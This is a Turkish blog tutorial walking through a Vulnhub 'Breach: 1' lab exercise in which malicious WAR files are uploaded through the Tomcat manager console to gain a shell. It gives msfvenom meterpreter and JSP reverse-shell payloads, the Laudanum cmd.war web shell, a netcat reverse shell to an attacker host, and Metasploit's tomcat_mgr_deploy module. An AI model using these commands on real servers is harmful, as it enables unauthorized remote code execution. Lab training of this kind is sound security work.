Apache Tomcat Manager Üzerinden Otomatik veya El İle Java War Dosyası Yükleyerek Komut Satırı Elde Etme

0
173
views
Web sunucu sızma testleri sırasında hedef web sunucusunun güvenilir bir şekilde yapılandırılmamış olması zafiyete sebep olabilir. Bu yazıda, Tomcat yönetici konsoluna ait kimlik bilgileri elde edilen Breach: 1 sanal makinesinde Tomcat arayüzü üzerinden WAR dosyası yüklenip çalıştırılarak uygulama kullanıcısı (tomcat6) yetkileri ile komut satırı erişimi elde edilecektir.

Yazıda kullanılan Breach: 1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/breach-1,152/

 

Not: Varsayılan durumda mevcut sanal ethernet kartına statik IP adresi (192.168.110.140) atanmıştır.

TCP/8443 portundan hizmet veren Tomcat üzerinde yönetici yetkileri ile oturum açmak için aşağıdaki erişim bilgileri kullanılabilir.

URL: https://192.168.110.140:8443/_M@nag3Me/html
Kullanıcı Adı: tomcat
Parola: Tt\5D8F(#!*u=G)4m7zB

 

Uygulamaya erişilmek istendiğinde erişimde tünelleme hatası alındığına dair bir mesaj ile karşılaşılmaktadır.

https://192.168.110.140:8443

 

Bunun sebebi hedef sunucudaki şifreleme paketlerinin güvenilir olmamasıdır.

wget https://192.168.110.140:8443 –no-check-certificate
sslscan 192.168.110.140:8443

 

Bu hatadan kurtulmak için browser ayarları değiştirilebileceği gibi bir aracı uygulama üzerinden bağlantı da sağlanabilir. Örneğin, Burp Suite gibi bir vekil sunucu ile araya girildiğinde SSL hatası alınmamaya başlanmıştır.

 

Vekil sunucu aracılığı ile kimlik doğrulama sayfasına erişim sağlanabilmektedir.

URL: https://192.168.110.140:8443/_M@nag3Me/html
Kullanıcı adı: tomcat
Parola: Tt\5D8F(#!*u=G)4m7zB

 

Böylece oturum açılabilmiştir.

 

Oturum açıldıktan sonra varsayılan yönetici ekranının kullanıldığı ve uzaktan WAR dosyası yüklenebildiği görülmektedir. Yüklenebilecek olan WAR dosyası çağırıldığında bu dosyada belirtilen kodların çalışması sağlanabilmektedir. Bu yöntemle

 

1) MSFVenom ile oluşturulan War Dosyası ile Meterpreter Erişimi Elde Etme

WAR dosyası oluşturmak için MSFVenom aracı kullanılabilir.

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=13579 -f war -o ZararliDosya.war

 

Deploy” başlığı altına hazırlanan WAR dosyası yüklenebilir.

 

Applications” başlığı altında bu WAR dosyası görülebilir.

 

Yüklenen WAR dosyası çağırıldığında gelecek talebi yakalayacak olan dinleyici başlatılır.

use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.110.129
set LPORT 13579
exploit -j

 

Yüklenen uygulama çağırıldığında Meterpreter bağlantısı elde edilmiş olur.

sessions
sessions -i 1
shell
uname -a

 

2) Laudanum cmd.war Dosyası ile Bash Kabuk Satırı Erişimi Elde Etme

Standart komut satırı erişimi için Laudanum aracı kullanılabilir. Laudanum içerisinde asp, aspx, cfm, jsp, php, wordpress gibi bir çok platform için zararlı dosya bulunmaktadır.

wget https://netcologne.dl.sourceforge.net/project/laudanum/laudanum-1.0/laudanum-1.0.tgz
tar -xzf laudanum-1.0.tgz
cd laudanum/
ls

 

Tomcat için “cmd.war” dosyası kullanılabilir.

cd jsp/
ls
cd warfiles/
ls

 

Bu dosya önceki başlıkta belirtildiği (“War file to deploy“) gibi hedef sunucuya yüklenebilir.

 

Yüklenen uygulama çalıştığında komut çalıştırılabilecek sayfaya erişim sağlanmış olur.

https://192.168.110.140:8443/cmd/cmd.jsp
hostname

 

Yüklenen “cmd.war” dosyası ile ters komut satırı erişimi elde edilebilir. Bu talebi yakalayacak olan dinleyici başlatılır.

nc -nlvp 24680

 

Metin alanına ters bağlantı talebi girildiğinde uygulama kullanıcısı yetkileri (tomcat6) ile Bash komut satırı erişimi yakalanmış olur.

nc 192.168.110.129 24680 -e /bin/bash
id
cat /etc/*release*
python -c ‘import pty;pty.spawn(“/bin/bash”)’

 

Not: Laudanum yerine MSFvenom ile oluşturulan bir WAR dosyası kullanılarak da Bash komut satırı erişimi elde edilebilirdi.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=98765 -f war > ZararlıKomutSatiri.war

 

3) MSF tomcat_mgr_deploy Modülü ile Meterpreter Erişimi Sağlanması

Bash veya Meterpreter komut satırına otomatik olarak erişim için MSF tomcat_mgr_deploy istismar modülü kullanılabilir.

use exploit/multi/http/tomcat_mgr_deploy
show options

 

Mevcut sanal makinede gerekli ayarlar yapılmasına rağmen komut satırı elde edilememiştir.

set PATH /_M@nag3Me/
set HttpUsername tomcat
set HttpPassword Tt\5D8F(#!*u=G)4m7zB
set RHOST 192.168.110.140
set RPORT 8443
set SSL true
set SSLVERSION Auto
set Proxies http:127.0.0.1:8080
set ReverseAllowProxy true
set TARGET 0
run

 

Bunun yanında aynı modül benzer ayarlar ile Metasploitable-2 sanal makinesinde çalışabilmektedir.

use exploit/multi/http/tomcat_mgr_deploy
set PATH /manager
set HttpUsername tomcat
set HttpPassword tomcat
set RHOST 192.168.110.130
set RPORT 8180
exploit
shell
id
uname -a

 

Kaynaklar:

https://blog.secureideas.com/2013/01/laudanum-by-example-shell.html

Hack the Breach 1.0 VM (CTF Challenge)


Vulnhub – Breach 1.0 walkthrough

0x2 Exploit Tutorial: Web Hacking with Burp Suite


https://charlesreid1.com/wiki/Metasploitable/Apache/Tomcat_and_Coyote#Uploading_Java_Executable_with_Metasploit
http://blog.opensecurityresearch.com/2012/09/manually-exploiting-tomcat-manager.html

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz